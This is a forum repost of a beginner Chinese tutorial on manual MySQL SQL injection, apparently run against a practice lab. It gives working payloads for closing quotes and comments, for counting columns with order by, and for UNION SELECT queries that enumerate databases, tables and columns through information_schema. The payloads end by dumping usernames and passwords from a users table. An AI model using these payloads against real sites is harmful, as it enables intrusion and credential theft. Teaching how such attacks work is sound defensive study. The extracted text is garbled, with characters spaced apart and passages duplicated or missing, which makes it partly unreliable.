搜索

[12265] 2018-01-21_新手科普MySQL手工注入之基本注入流程

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2018-01-21_新手科普MySQL手工注入之基本注入流程 新 手 科 普   |   M y S Q L 手 工 注 入 之 基 本 注 入 流 程 国 光   F r e e B u f   2 0 1 8 - 0 1 - 2 1 M y S Q L 手 工 注 入 的 基 本 步 骤 以 及 一 些 技 巧 的 记 录 ， 当 出 现 学 习 手 工 注 入 的 时 候 ， 网 上 的 文 章 参 差 不 齐 ， 导 致 很 手 工 注 入 的 基 本 步 骤 以 及 一 些 技 巧 的 记 录 ， 当 出 现 学 习 手 工 注 入 的 时 候 ， 网 上 的 文 章 参 差 不 齐 ， 导 致 很 长 一 段 时 间 对 手 工 注 入 的 理 解 一 直 处 于 一 知 半 解 的 状 态 ， 特 此 记 录 本 文 ， 让 小 白 们 少 走 些 弯 路 。 本 文 只 针 对 手 长 一 段 时 间 对 手 工 注 入 的 理 解 一 直 处 于 一 知 半 解 的 状 态 ， 特 此 记 录 本 文 ， 让 小 白 们 少 走 些 弯 路 。 本 文 只 针 对 手 工 注 入 小 白 ， 大 牛 绕 过 轻 喷 。 工 注 入 小 白 ， 大 牛 绕 过 轻 喷 。 步 骤 步 骤 注 释 或 者 闭 合 语 句 注 释 或 者 闭 合 语 句 首 先 看 下 一 个 基 本 的 S Q L 语 句 查 询 源 码 ：   下 面 的 步 骤 默 认 都 是 采 用 这 种 基 本 的 S Q L 语 句 的 ， 其 他 的 注 入 方 法 换 汤 不 换 药 ， 这 里 只 是 想 整 理 下 注 入 的 步 骤 与 关 键 性 的 语 句 。 引 号 闭 合 语 句 引 号 闭 合 语 句 带 入 进 源 码 中 的 S Q L 语 句 就 是 : 注 释 后 面 语 句 注 释 后 面 语 句 常 用 的 注 释 常 用 的 注 释 p a y l o a d 带 入 进 源 码 中 的 S Q L 语 句 就 是 : 这 样 可 以 看 出 直 接 把 后 面 的 语 句 都 给 注 释 掉 了 ， 一 般 实 战 用 注 释 比 较 多 。 a n d   验 证 验 证 当 然 这 里   a n d   验 证 和   o r   验 证 都 可 以 ， 二 者 区 别 不 大 : 页 面 返 回 正 常 页 面 返 回 正 常 $ s q l = " S E L E C T   *   F R O M   u s e r s   W H E R E   i d = ' $ i d '   L I M I T   0 , 1 " ; i d   = 1   '   a n d   ' 1 '   = ' 1 S E L E C T   *   F R O M   u s e r s   W H E R E   i d = ' 1   '   a n d   ' 1 '   = ' 1 '   L I M I T   0 , 1 o r   1 = 1 - - + ' o r   1 = 1 - - + " o r   1 = 1 - - + ) o r   1 = 1 - - + ' ) o r   1 = 1 - - + " )   o r   1 = 1 - - + " ) ) o r   1 = 1 - - + - - +   可 以 用 # 替 换 ， u r l   提 交 过 程 中   U r l   编 码 后 的 # 为 % 2 3 S E L E C T   *   F R O M   u s e r s   W H E R E   i d = ' ' o r   1 = 1 - - + '   L I M I T   0 , 1
页 面 返 回 异 常 页 面 返 回 异 常 如 果 发 现 一 开 始 页 面 先 是 正 常 然 后 是 异 常 的 话 ， 说 明 页 面 啊 存 在 注 入 。 当 然 这 里 是 最 基 本 的 判 断 方 法 ， 到 后 面 盲 注 的 时 候 是 用 延 时 函 数 来 观 察 页 面 的 返 回 时 间 的 。 查 询 字 段 数 目 查 询 字 段 数 目 查 询 字 段 数 目 主 要 利 用 M y S Q L 里 面 的   o r d e r   b y   来 判 断 字 段 数 目 ， o r d e r   b y 一 般 采 用 数 学 中 的 对 半 查 找 来 判 断 具 体 的 字 段 数 目 ， 这 样 效 率 会 很 高 ， 下 面 假 设 用   o r d e r   b y   来 判 断 一 个 未 知 字 段 的 注 入 。 ? i d = 1 ’   o r d e r   b y   1   — +   此 时 页 面 正 常 ， 继 续 换 更 大 的 数 字 测 试 ? i d = 1 ’   o r d e r   b y   1 0   — +   此 时 页 面 返 回 错 误 ， 更 换 小 的 数 字 测 试 ? i d = 1 ’   o r d e r   b y   5   — +   此 时 页 面 依 然 报 错 ， 继 续 缩 小 数 值 测 试 ? i d = 1 ’   o r d e r   b y   3   — +   此 时 页 面 返 回 正 常 ， 更 换 大 的 数 字 测 试 ? i d = 1 ’   o r d e r   b y   4   — +   此 时 页 面 返 回 错 误 ， 3 正 常 ， 4 错 误 ， 说 明 字 段 数 目 就 是   3 通 过 数 学 的 对 半 查 找 ， 确 定 字 段 数 目 。 联 合 查 询 联 合 查 询   联 合 查 询 ， 手 工 注 入 经 典 语 句 ， 作 用 是 在 后 面 通 过 把 我 们 的 恶 意 注 入 语 句 接 上 去 ， 带 入 数 据 库 进 行 查 询 。 因 为 字 段 数 目 是 : , 那 么 正 规 的 语 句 如 下 : 这 里 页 面 是 不 会 报 错 的 ， 此 时 我 们 带 入 数 据 库 的 语 句 为 : S E L E C T   1 , 2 , 3   这 段 语 句 没 有 任 何 意 义 ， 所 以 页 面 按 返 回 正 常 。 但 是 为 了 信 息 收 集 ， 我 们 得 知 道 当 前 这 个 页 面 里 面 的 值 ， 调 用 的 具 体 是 数 据 库 中 的 哪 个 字 段 才 可 以 ， 可 以 故 意 构 造 一 个 错 误 的 语 句 ， 来 爆 出 错 误 的 字 段 ： i d = - 1 ’   U N I O N   S E L E C T   1 , 2 , 3   — +   通 过 i d = - 1   一 个 负 数 不 存 在 的 i d 值 来 触 发 报 错 i d = 1 ’   a n d   1 = 2   U N I O N S E L E C T   1 , 2 , 3   — +   通 过 a n d   1 = 2   语 句 来 触 发 报 错 i d = 1 ’   o r   1 = 1   U N I O N   S E L E C T   1 , 2 , 3   — +   通 过 o r   1 = 1   语 句 来 触 发 报 错 ? i d = 1 '   a n d   1 = 1   - - +   ? i d = 1 '   o r   1 = 2   - - + ? i d = 1 '   a n d   1 = 2   - - + ? i d = 1 '   o r   1 = 1   - - + U N I O N   S E L E C T U N I O N 3 ? i d = 1 '   U N I O N   S E L E C T   1 , 2 , 3   - - +
可 以 看 出 爆 出 了 具 体 的 字 段 号 了 ， 这 里 爆 出 了 和 进 M y S Q L 数 据 库 看 下 这 个 表 的 字 段 结 构 : 数 据 库 表 的 结 构 完 美 验 证 了 本 次 爆 错 出 先 的 数 字 和 ， 这 里 的 数 字 代 表 字 段 ， 恰 巧 对 应 的 字 段 值 是 : 和 。 收 集 信 息 收 集 信 息 在 爆 出 的 字 段 值 里 面 可 以 替 换 为 我 们 的 恶 意 语 句 ， 前 期 主 要 是 收 集 信 息 ， 包 括 判 断 当 前 数 据 库 是 否 是 r o o t 用 户 ， M y S Q L 的 版 本 等 ， 一 般 收 集 这 些 信 息 常 用 一 些 M y S Q L 自 带 的 函 数 去 收 集 信 息 : M y S Q L 常 用 的 系 统 函 数 常 用 的 系 统 函 数 查 询 当 前 数 据 库 名 查 询 当 前 数 据 库 名 2 3 2 3 u s e r n a m e p a s s w o r d v e r s i o n ( )                         # M y S Q L 版 本 u s e r ( )                               # 数 据 库 用 户 名 d a t a b a s e ( )                       # 数 据 库 名 @ @ d a t a d i r                         # 数 据 库 路 径 @ @ v e r s i o n _ c o m p i l e _ o s   # 操 作 系 统 版 本 i d = 1 '   a n d   1 = 2   U N I O N   S E L E C T   1 , d a t a b a s e ( ) , 3   - - +
查 询 查 询 M y S Q L 版 本 版 本 查 询 数 据 库 用 户 和 路 径 查 询 数 据 库 用 户 和 路 径 查 询 数 据 库 查 询 数 据 库 ， 一 般 来 说 我 们 注 入 的 时 候 要 查 的 就 是 当 前 的 数 据 库 ， 但 有 时 候 r o o t 权 限 就 N B 了 还 可 以 看 到 网 站 数 据 库 之 外 的 数 据 库 内 容 。 查 询 当 前 数 据 库 查 询 当 前 数 据 库 i d = 1 '   a n d   1 = 2   U N I O N   S E L E C T   1 , 2 , v e r s i o n ( )   - - + i d = 1 '   a n d   1 = 2   U N I O N   S E L E C T   1 , u s e r ( ) , @ @ d a t a d i r   - - + i d = 1 '   a n d   1 = 2   U N I O N   S E L E C T   1 , 2 , d a t a b a s e ( )   - - +
拿 到 当 前 的 数 据 库 名 称 为 : 查 询 所 有 数 据 库 查 询 所 有 数 据 库 有 时 候 忍 不 住 想 看 下 其 他 的 数 据 库 的 内 容 ， 可 以 用 这 个 语 句 查 询 所 有 的 数 据 库 : 这 里 用 到 了 函 数 ， 由 于 本 篇 文 章 的 定 位 是   手 工 注 入 的 步 骤   这 里 不 在 这 里 进 行 细 化 的 讲 解 此 类 函 数 的 用 法 。 了 解 相 关 函 数 的 话 参 考 我 的 另 一 篇 文 章 : M y S Q L   手 工 注 入 之 常 见 字 符 串 函 数 查 询 表 名 查 询 表 名 d a t a b a s e   查 询 数 据 库 查 询 数 据 库 单 引 号 单 引 号 - 数 据 库 数 据 库 这 里 的 函 数 进 行 了 数 据 库 查 询 ， 因 为 我 们 已 经 查 到 了 当 前 的 数 据 库 为 ， 所 有 这 里 还 可 以 酱 紫 写 ， 用 单 引 号 括 把 数 据 库 的 名 称 括 起 来 : h e x 编 码 数 据 库 编 码 数 据 库 如 果 嫌 单 引 号 括 起 来 麻 烦 的 话 ， 那 么 巧 了 ！ 这 里 还 有 一 个 更 麻 烦 的 方 法 ， 就 是 将 数 据 库 名 进 行 编 码 处 理 。 使 用 火 狐 自 带 的 插 件 可 以 快 速 的 进 行 编 码 : s e c u r i t y i d = 1 '   a n d   1 = 2   U N I O N   S E L E C T   1 , 2 , g r o u p _ c o n c a t ( s c h e m a _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . s c h e m a t a   - - + g r o u p _ c o n c a t i d = 1 '   a n d   1 = 2   U N I O N   S E L E C T   1 , 2 , g r o u p _ c o n c a t ( t a b l e _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = d a t a b a s e ( )   - - + d a t a b a s e ( ) s e c u r i t y ' s e c u r i t y ' i d = 1 '   a n d   1 = 2   U N I O N   S E L E C T   1 , 2 , g r o u p _ c o n c a t ( t a b l e _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = ' s e c u r i t y '   - - + h e x H a c k B a r h e x
编 码 后 在 前 面 加 上 表 明 这 里 是 1 6 进 制 编 码 。 目 前 主 流 的 集 中 方 法 大 致 就 是 这 样 ， 还 有 一 些 先 h e x 然 后 u n h e x   的 写 法 ， 据 说 可 以 绕 w a f 类 的 ， 这 里 不 是 很 常 用 就 不 再 赘 述 了 。   同 理 这 些 方 法 放 到 查 询 数 据 库 的 列 名 中 也 是 可 以 使 用 的 ， 要 学 会 活 学 活 用 。 查 询 列 名 查 询 列 名 目 前 收 集 到 的 信 息 为 : 数 据 库 名 称 :   s e c u r u t y 数 据 库 表 名 :   e m a i l s , r e f e r e r s , u a g e n t s , u s e r s 做 为 一 名 黑 客 一 定 要 有 敏 锐 的 嗅 觉 ( 手 动 d o g ) ， 这 几 个 表 中   一 般 我 们 都 会 去   继 续 猜 解 表 。 下 面 用 和 查 询 数 据 库 类 似 的 方 法 去 查 询 列 名 ， 关 于 原 理 的 话   就 是   下 有 一 个 里 面 会 存 所 有 数 据 库 的 一 些 相 关 信 息 : 既 然 都 说 到 这 里 了 ， 这 里 就 顺 便 列 举 一 下 M y S Q L 手 工 注 入 中 ， 比 较 关 键 的 里 的 信 息 : h e x 0 x g r o u p _ c o n c a t u s e r s M y S Q L i n f o r m a t i o n _ s c h e m a i n f o r m a t i o n _ s c h e m a
记 录 关 于 数 据 库 的 信 息 记 录 关 于 数 据 库 的 信 息 i n f o r m a t i o n _ s c h e m a   数 据 库 下 的   表 中 的 记 录 的 是 各 个 的 名 称 : 不 仅 这 里 记 录 了 在   数 据 库 下 的 表 也 记 录 了 各 个 数 据 库 的 名 称 : 记 录 关 于 数 据 表 的 信 息 记 录 关 于 数 据 表 的 信 息 i n f o r m a t i o n _ s c h e m a   数 据 库 下 的   表 中 的 记 录 的 是 各 个 的 名 称 : s c h e m a t a s c h e m a _ n a m e 数 据 库 t a b l e s t a b l e _ s c h e m a t a b l e s t a b l e _ n a m e 数 据 表
这 里 是 华 丽 的 分 割 线 ， 吃 惊 ， 一 眨 眼 说 不 拓 展 的 有 忍 不 住 扯 了 这 么 多 ， 下 面 不 多 说 直 接 来 查 询 u s e r s 表 下 的 列 名 查 询 字 段 值 查 询 字 段 值 由 于 在 查 询 列 名 那 里 啰 嗦 的 有 点 多 ， 核 心 原 理 已 经 写 在 上 面 了 , 这 里 就 简 单 的 写 出 p a y l o a d , : 知 道 了 数 据 库 、 表 名 、 各 个 字 段 名 可 以 直 接 进 行 查 询 了 ， 不 需 借 助 数 据 库 了 。 i d = 1 '   a n d   1 = 2   U N I O N   S E L E C T   1 , 2 , g r o u p _ c o n c a t ( c o l u m n _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = ' u s e r s '   - - + i d = 1 '   a n d   1 = 2   U N I O N   S E L E C T   1 , 2 , g r o u p _ c o n c a t ( i d , u s e r n a m e , p a s s w o r d )   f r o m   u s e r s   - - + i n f o r m a t i o n _ s c h a n e m
简 短 的 整 理 简 短 的 整 理 本 来 是 打 算 前 面 步 骤 中 规 中 矩 的 写 的 ， 但 还 是 忍 不 住 写 多 了 。 于 是 又 开 出 一 个 标 题 进 行 简 短 的 整 理 : o r d e r   b y   — +   判 断 字 段 数 目 u n i o n   s e l e c t   — +   联 合 查 询 收 集 信 息 i d = 1 ’   a n d   1 = 2   U N I O N   S E L E C T   1 , 2 , d a t a b a s e ( )   — +   查 询 当 前 数 据 库 i d = 1 ’   a n d   1 = 2   U N I O N   S E L E C T   1 , 2 , g r o u p _ c o n c a t ( s c h e m a _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . s c h e m a t a   — + 查 询 所 有 数 据 库 i d = 1 ’   a n d   1 = 2   U N I O N   S E L E C T   1 , 2 , g r o u p _ c o n c a t ( t a b l e _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e t a b l e _ s c h e m a = d a t a b a s e ( )   — +   查 询 表 名 i d = 1 ’   a n d   1 = 2   U N I O N   S E L E C T   1 , 2 , g r o u p _ c o n c a t ( c o l u m n _ n a m e )   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e t a b l e _ n a m e = ’ u s e r s ’   — +   查 询 列 名 i d = 1 ’   a n d   1 = 2   U N I O N   S E L E C T   1 , 2 , g r o u p _ c o n c a t ( i d , u s e r n a m e , p a s s w o r d )   f r o m   u s e r s   — +   查 询 字 段 值 * 本 文 作 者 ： 国 光 ， 转 载 请 注 明 来 自 本 文 作 者 ： 国 光 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理